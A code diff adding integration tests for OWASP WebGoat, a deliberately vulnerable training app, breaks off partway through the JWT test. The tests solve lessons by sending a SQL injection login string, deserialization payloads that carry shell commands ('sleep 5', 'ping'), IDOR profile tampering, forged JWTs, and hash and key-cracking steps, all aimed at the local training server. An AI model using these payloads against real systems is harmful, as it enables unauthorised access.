+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .post(webGoatUrlConfig.url("challenge/1"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .asString();
+
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+    params.clear();
+    params.put("flag", flag);
+      checkAssignment(webGoatUrlConfig.url("challenge/flag/1"), params, true);
+
+    checkResults("Challenge1");
+
+      List<String> capturefFlags =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("scoreboard-data"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+    assertTrue(capturefFlags.contains("Admin lost password"));
+  }
+
+  @Test
+  void testChallenge5() {
+    startLesson("Challenge5");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("username_login", "Larry");
+    params.put("password_login", "1' or '1'='1");
+
+      String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .post(webGoatUrlConfig.url("challenge/5"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .asString();
+
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+    params.clear();
+    params.put("flag", flag);
+      checkAssignment(webGoatUrlConfig.url("challenge/flag/5"), params, true);
+
+    checkResults("Challenge5");
+
+      List<String> capturefFlags =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("scoreboard-data"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+    assertTrue(capturefFlags.contains("Without password"));
+  }
+
+  @Test
+  void testChallenge7() {
+    startLesson("Challenge7");
+    cleanMailbox();
+
+    // One should first be able to download git.zip from WebGoat
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(webGoatUrlConfig.url("challenge/7/.git"))
+        .then()
+        .statusCode(200)
+        .extract()
+        .asString();
+
+    // Should email WebWolf inbox this should give a hint to the link being static
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .formParams("email", getUser() + "@webgoat.org")
+        .post(webGoatUrlConfig.url("challenge/7"))
+        .then()
+        .statusCode(200)
+        .extract()
+        .asString();
+
+    // Check whether email has been received
+    var responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("mail"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
+
+    // Call reset link with admin link
+      String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("challenge/7/reset-password/{link}"), "375afe1104f4a487a73823c50a9292a2")
+            .then()
+            .statusCode(HttpStatus.ACCEPTED.value())
+            .extract()
+            .asString();
+
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+      checkAssignment(webGoatUrlConfig.url("challenge/flag/7"), Map.of("flag", flag), true);
+  }
+}

src/it/java/org/owasp/webgoat/integration/CryptoIntegrationTest.java

@@ -0,0 +1,160 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.junit.jupiter.api.Assertions.fail;
+
+import io.restassured.RestAssured;
+import java.nio.charset.Charset;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.interfaces.RSAPrivateKey;
+import java.security.spec.InvalidKeySpecException;
+import java.util.Base64;
+import java.util.HashMap;
+import java.util.Map;
+import javax.xml.bind.DatatypeConverter;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
+import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
+
+public class CryptoIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void runTests() {
+    startLesson("Cryptography");
+
+    checkAssignment2();
+    checkAssignment3();
+
+    // Assignment 4
+    try {
+      checkAssignment4();
+    } catch (NoSuchAlgorithmException e) {
+      e.printStackTrace();
+      fail();
+    }
+
+    try {
+      checkAssignmentSigning();
+    } catch (Exception e) {
+      e.printStackTrace();
+      fail();
+    }
+
+    checkAssignmentDefaults();
+
+    checkResults("Cryptography");
+  }
+
+  private void checkAssignment2() {
+
+      String basicEncoding =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("crypto/encoding/basic"))
+            .then()
+            .extract()
+            .asString();
+    basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
+    String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
+    String answer_user = decodedString.split(":")[0];
+    String answer_pwd = decodedString.split(":")[1];
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("answer_user", answer_user);
+    params.put("answer_pwd", answer_pwd);
+      checkAssignment(webGoatUrlConfig.url("crypto/encoding/basic-auth"), params, true);
+  }
+
+  private void checkAssignment3() {
+    String answer_1 = "databasepassword";
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("answer_pwd1", answer_1);
+      checkAssignment(webGoatUrlConfig.url("crypto/encoding/xor"), params, true);
+  }
+
+  private void checkAssignment4() throws NoSuchAlgorithmException {
+
+      String md5Hash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("crypto/hashing/md5"))
+            .then()
+            .extract()
+            .asString();
+
+      String sha256Hash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("crypto/hashing/sha256"))
+            .then()
+            .extract()
+            .asString();
+
+    String answer_1 = "unknown";
+    String answer_2 = "unknown";
+    for (String secret : HashingAssignment.SECRETS) {
+      if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
+        answer_1 = secret;
+      }
+      if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
+        answer_2 = secret;
+      }
+    }
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("answer_pwd1", answer_1);
+    params.put("answer_pwd2", answer_2);
+      checkAssignment(webGoatUrlConfig.url("crypto/hashing"), params, true);
+  }
+
+  private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
+
+      String privatePEM =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("crypto/signing/getprivate"))
+            .then()
+            .extract()
+            .asString();
+    PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
+
+    RSAPrivateKey privk = (RSAPrivateKey) privateKey;
+    String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
+    String signature = CryptoUtil.signMessage(modulus, privateKey);
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("modulus", modulus);
+    params.put("signature", signature);
+      checkAssignment(webGoatUrlConfig.url("crypto/signing/verify"), params, true);
+  }
+
+  private void checkAssignmentDefaults() {
+
+    String text =
+        new String(
+            Base64.getDecoder()
+                .decode(
+                    "TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
+                        .getBytes(Charset.forName("UTF-8"))));
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("secretText", text);
+    params.put("secretFileName", "default_secret");
+      checkAssignment(webGoatUrlConfig.url("crypto/secure/defaults"), params, true);
+  }
+}

src/it/java/org/owasp/webgoat/integration/DeserializationIntegrationTest.java

@@ -0,0 +1,37 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+import org.dummy.insecure.framework.VulnerableTaskHolder;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
+
+public class DeserializationIntegrationTest extends IntegrationTest {
+
+  private static String OS = System.getProperty("os.name").toLowerCase();
+
+  @Test
+  public void runTests() throws IOException {
+    startLesson("InsecureDeserialization");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+
+    if (OS.indexOf("win") > -1) {
+      params.put(
+          "token",
+          SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
+    } else {
+      params.put(
+          "token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
+    }
+      checkAssignment(webGoatUrlConfig.url("InsecureDeserialization/task"), params, true);
+
+    checkResults("InsecureDeserialization");
+  }
+}

src/it/java/org/owasp/webgoat/integration/GeneralLessonIntegrationTest.java

@@ -1,4 +1,8 @@
-package org.owasp.webgoat;
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
 
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
@@ -17,21 +21,31 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     Map<String, Object> params = new HashMap<>();
     params.clear();
     params.put("person", "goatuser");
-    checkAssignment(url("HttpBasics/attack1"), params, true);
+      checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
 
     params.clear();
     params.put("answer", "POST");
     params.put("magic_answer", "33");
     params.put("magic_num", "4");
-    checkAssignment(url("HttpBasics/attack2"), params, false);
+      checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, false);
 
     params.clear();
     params.put("answer", "POST");
     params.put("magic_answer", "33");
     params.put("magic_num", "33");
-    checkAssignment(url("HttpBasics/attack2"), params, true);
+      checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, true);
 
-    checkResults("/HttpBasics/");
+    checkResults("HttpBasics");
+  }
+
+  @Test
+  public void solveAsOtherUserHttpBasics() {
+    login("steven");
+    startLesson("HttpBasics");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("person", "goatuser");
+      checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
   }
 
   @Test
@@ -44,14 +58,14 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
             .cookie("JSESSIONID", getWebGoatCookie())
             .header("x-request-intercepted", "true")
             .contentType(ContentType.JSON)
-            .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
+            .get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
             .then()
             .statusCode(200)
             .extract()
             .path("lessonCompleted"),
         CoreMatchers.is(true));
 
-    checkResults("/HttpProxies/");
+    checkResults("HttpProxies");
   }
 
   @Test
@@ -61,7 +75,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.clear();
     params.put(
         "question_0_solution",
-        "Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
+        "Solution 3: By stealing a database where names and emails are stored and uploading it to a"
+            + " website.");
     params.put(
         "question_1_solution",
         "Solution 1: By changing the names and emails of one or more users stored in a database.");
@@ -71,8 +86,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.put(
         "question_3_solution",
         "Solution 2: The systems security is compromised even if only one goal is harmed.");
-    checkAssignment(url("/WebGoat/cia/quiz"), params, true);
+      checkAssignment(webGoatUrlConfig.url("cia/quiz"), params, true);
-    checkResults("/cia/");
+    checkResults("CIA");
   }
 
   @Test
@@ -94,8 +109,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
       Map<String, Object> params = new HashMap<>();
       params.clear();
       params.put("payload", solution);
-      checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true);
+        checkAssignment(webGoatUrlConfig.url("VulnerableComponents/attack1"), params, true);
-      checkResults("/VulnerableComponents/");
+      checkResults("VulnerableComponents");
     }
   }
 
@@ -106,8 +121,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.clear();
     params.put("username", "CaptainJack");
     params.put("password", "BlackPearl");
-    checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true);
+      checkAssignment(webGoatUrlConfig.url("InsecureLogin/task"), params, true);
-    checkResults("/InsecureLogin/");
+    checkResults("InsecureLogin");
   }
 
   @Test
@@ -116,8 +131,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     Map<String, Object> params = new HashMap<>();
     params.clear();
     params.put("password", "ajnaeliclm^&&@kjn.");
-    checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
+      checkAssignment(webGoatUrlConfig.url("SecurePasswords/assignment"), params, true);
-    checkResults("SecurePasswords/");
+    checkResults("SecurePasswords");
 
     startLesson("AuthBypass");
     params.clear();
@@ -126,8 +141,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.put("jsEnabled", "1");
     params.put("verifyMethod", "SEC_QUESTIONS");
     params.put("userId", "12309746");
-    checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
+      checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
-    checkResults("/auth-bypass/");
+    checkResults("AuthBypass");
 
     startLesson("HttpProxies");
       MatcherAssert.assertThat(
@@ -137,14 +152,13 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
             .cookie("JSESSIONID", getWebGoatCookie())
             .header("x-request-intercepted", "true")
             .contentType(ContentType.JSON)
-            .get(
+            .get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
-                url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
             .then()
             .statusCode(200)
             .extract()
             .path("lessonCompleted"),
         CoreMatchers.is(true));
-    checkResults("/HttpProxies/");
+    checkResults("HttpProxies");
   }
 
   @Test
@@ -164,7 +178,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
             .header("webgoat-requested-by", "dom-xss-vuln")
             .header("X-Requested-With", "XMLHttpRequest")
             .formParams(params)
-            .post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
+            .post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
             .then()
             .statusCode(200)
             .extract()
@@ -173,14 +187,14 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
 
     params.clear();
     params.put("successMessage", secretNumber);
-    checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
+      checkAssignment(webGoatUrlConfig.url("ChromeDevTools/dummy"), params, true);
 
     params.clear();
     params.put("number", "24");
     params.put("network_num", "24");
-    checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
+      checkAssignment(webGoatUrlConfig.url("ChromeDevTools/network"), params, true);
 
-    checkResults("/ChromeDevTools/");
+    checkResults("ChromeDevTools");
   }
 
   @Test
@@ -193,8 +207,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.put("jsEnabled", "1");
     params.put("verifyMethod", "SEC_QUESTIONS");
     params.put("userId", "12309746");
-    checkAssignment(url("/auth-bypass/verify-account"), params, true);
+      checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
-    checkResults("/auth-bypass/");
+    checkResults("AuthBypass");
   }
 
   @Test
@@ -204,7 +218,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     params.clear();
     params.put("param1", "secr37Value");
     params.put("param2", "Main");
-    checkAssignment(url("/lesson-template/sample-attack"), params, true);
+      checkAssignment(webGoatUrlConfig.url("lesson-template/sample-attack"), params, true);
-    checkResults("/lesson-template/");
+    checkResults("LessonTemplate");
   }
 }

src/it/java/org/owasp/webgoat/integration/IDORIntegrationTest.java

@@ -0,0 +1,104 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+
+public class IDORIntegrationTest extends IntegrationTest {
+
+  @BeforeEach
+  public void init() {
+    startLesson("IDOR");
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> testIDORLesson() {
+    return Arrays.asList(
+        dynamicTest("assignment 2 - login", this::loginIDOR),
+        dynamicTest("profile", this::profile));
+  }
+
+  @AfterEach
+  public void shutdown() {
+    checkResults("IDOR");
+  }
+
+  private void loginIDOR() {
+
+    Map<String, Object> params = new HashMap<>();
+    params.put("username", "tom");
+    params.put("password", "cat");
+
+      checkAssignment(webGoatUrlConfig.url("IDOR/login"), params, true);
+  }
+
+  private void profile() {
+
+    // View profile - assignment 3a
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("IDOR/profile"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("userId"),
+        CoreMatchers.is("2342384"));
+
+    // Show difference - assignment 3b
+    Map<String, Object> params = new HashMap<>();
+    params.put("attributes", "userId,role");
+      checkAssignment(webGoatUrlConfig.url("IDOR/diff-attributes"), params, true);
+
+    // View profile another way - assignment 4
+    params.clear();
+    params.put("url", "WebGoat/IDOR/profile/2342384");
+      checkAssignment(webGoatUrlConfig.url("IDOR/profile/alt-path"), params, true);
+
+    // assignment 5a
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("IDOR/profile/2342388"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+
+    // assignment 5b
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .contentType(ContentType.JSON) // part of the lesson
+            .body(
+                "{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+                    + " \"userId\":\"2342388\"}")
+            .put(webGoatUrlConfig.url("IDOR/profile/2342388"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+}

src/it/java/org/owasp/webgoat/integration/IntegrationTest.java

@@ -0,0 +1,256 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static io.restassured.RestAssured.given;
+
+import io.restassured.RestAssured;
+import io.restassured.filter.log.LogDetail;
+import io.restassured.http.ContentType;
+import java.util.Map;
+import lombok.Getter;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.owasp.webgoat.ServerUrlConfig;
+import org.springframework.http.HttpStatus;
+
+public abstract class IntegrationTest {
+
+  protected final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
+  protected final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
+
+  @Getter private String webGoatCookie;
+  @Getter private String webWolfCookie;
+  @Getter private final String user = "webgoat";
+
+  @BeforeEach
+  public void login() {
+    login("webgoat");
+  }
+
+  protected void login(String user) {
+    String location =
+        given()
+            .when()
+            .relaxedHTTPSValidation()
+            .formParam("username", user)
+            .formParam("password", "password")
+            .post(webGoatUrlConfig.url("login"))
+            .then()
+            .log()
+            .ifValidationFails(LogDetail.ALL) // Log the response details if validation fails
+            .cookie("JSESSIONID")
+            .statusCode(302)
+            .extract()
+            .header("Location");
+    if (location.endsWith("?error")) {
+      webGoatCookie =
+          RestAssured.given()
+              .when()
+              .relaxedHTTPSValidation()
+              .formParam("username", user)
+              .formParam("password", "password")
+              .formParam("matchingPassword", "password")
+              .formParam("agree", "agree")
+              .post(webGoatUrlConfig.url("register.mvc"))
+              .then()
+              .cookie("JSESSIONID")
+              .statusCode(302)
+              .extract()
+              .cookie("JSESSIONID");
+    } else {
+      webGoatCookie =
+          given()
+              .when()
+              .relaxedHTTPSValidation()
+              .formParam("username", user)
+              .formParam("password", "password")
+              .post(webGoatUrlConfig.url("login"))
+              .then()
+              .cookie("JSESSIONID")
+              .statusCode(302)
+              .extract()
+              .cookie("JSESSIONID");
+    }
+
+    webWolfCookie =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .formParam("username", user)
+            .formParam("password", "password")
+            .post(webWolfUrlConfig.url("login"))
+            .then()
+            .statusCode(302)
+            .cookie("WEBWOLFSESSION")
+            .extract()
+            .cookie("WEBWOLFSESSION");
+  }
+
+  @AfterEach
+  public void logout() {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .get(webGoatUrlConfig.url("logout"))
+        .then()
+        .statusCode(200);
+  }
+
+  public void startLesson(String lessonName) {
+    startLesson(lessonName, false);
+  }
+
+  public void startLesson(String lessonName, boolean restart) {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(webGoatUrlConfig.url(lessonName + ".lesson.lesson"))
+        .then()
+        .statusCode(200);
+
+    if (restart) {
+      RestAssured.given()
+          .when()
+          .relaxedHTTPSValidation()
+          .cookie("JSESSIONID", getWebGoatCookie())
+          .get(webGoatUrlConfig.url("service/restartlesson.mvc/%s.lesson".formatted(lessonName)))
+          .then()
+          .statusCode(200);
+    }
+  }
+
+  public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .post(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
+
+  public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .put(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
+
+  public void checkResults(String lesson) {
+    var result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/lessonoverview.mvc/%s.lesson".formatted(lesson)))
+            .andReturn();
+
+    MatcherAssert.assertThat(
+        result.then().statusCode(200).extract().jsonPath().getList("solved"),
+        CoreMatchers.everyItem(CoreMatchers.is(true)));
+  }
+
+  public void checkResults() {
+    var result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/lessonoverview.mvc"))
+            .andReturn();
+
+    MatcherAssert.assertThat(
+        result.then().statusCode(200).extract().jsonPath().getList("solved"),
+        CoreMatchers.everyItem(CoreMatchers.is(true)));
+  }
+
+  public void checkAssignment(
+      String url, ContentType contentType, String body, boolean expectedResult) {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(contentType)
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .body(body)
+            .post(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
+
+  public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .queryParams(params)
+            .get(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
+
+  public String getWebWolfFileServerLocation() {
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("file-server-location"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    result = result.replace("%20", " ");
+    return result;
+  }
+
+  public String webGoatServerDirectory() {
+    return RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(webGoatUrlConfig.url("server-directory"))
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+  }
+
+  public void cleanMailbox() {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .delete(webWolfUrlConfig.url("mail"))
+        .then()
+        .statusCode(HttpStatus.ACCEPTED.value());
+  }
+}

src/it/java/org/owasp/webgoat/integration/JWTLessonIntegrationTest.java

@@ -0,0 +1,307 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.node.ObjectNode;
+import io.jsonwebtoken.Header;
+import io.jsonwebtoken.JwsHeader;
+import io.jsonwebtoken.Jwt;
+import io.jsonwebtoken.JwtException;
+import io.jsonwebtoken.Jwts;
+import io.jsonwebtoken.SignatureAlgorithm;
+import io.jsonwebtoken.impl.TextCodec;
+import io.restassured.RestAssured;
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.NoSuchAlgorithmException;
+import java.security.interfaces.RSAPublicKey;
+import java.time.Instant;
+import java.util.Base64;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.jose4j.jwk.JsonWebKeySet;
+import org.jose4j.jwk.RsaJsonWebKey;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
+
+public class JWTLessonIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void solveAssignment() throws IOException, NoSuchAlgorithmException {
+    startLesson("JWT");
+
+    decodingToken();
+
+    resetVotes();
+
+    findPassword();
+
+    buyAsTom();
+
+    deleteTomThroughKidClaim();
+
+    deleteTomThroughJkuClaim();
+
+    quiz();
+
+    checkResults("JWT");
+  }
+
+  private String generateToken(String key) {
+    return Jwts.builder()
+        .setIssuer("WebGoat Token Builder")
+        .setAudience("webgoat.org")
+        .setIssuedAt(Calendar.getInstance().getTime())
+        .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+        .setSubject("tom@webgoat.org")
+        .claim("username", "WebGoat")
+        .claim("Email", "tom@webgoat.org")
+        .claim("Role", new String[] {"Manager", "Project Administrator"})
+        .signWith(SignatureAlgorithm.HS256, key)
+        .compact();
+  }
+
+  private String getSecretToken(String token) {
+    for (String key : JWTSecretKeyEndpoint.SECRETS) {
+      try {
+        Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
+      } catch (JwtException e) {
+        continue;
+      }
+      return TextCodec.BASE64.encode(key);
+    }
+    return null;
+  }
+
+  private void decodingToken() {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParam("jwt-encode-user", "user")
+            .post(webGoatUrlConfig.url("JWT/decode"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void findPassword() {
+
+    String accessToken =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("JWT/secret/gettoken"))
+            .then()
+            .extract()
+            .response()
+            .asString();
+
+    String secret = getSecretToken(accessToken);
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParam("token", generateToken(secret))
+            .post(webGoatUrlConfig.url("JWT/secret"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void resetVotes() throws IOException {
+    String accessToken =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("JWT/votings/login?user=Tom"))
+            .then()
+            .extract()
+            .cookie("access_token");
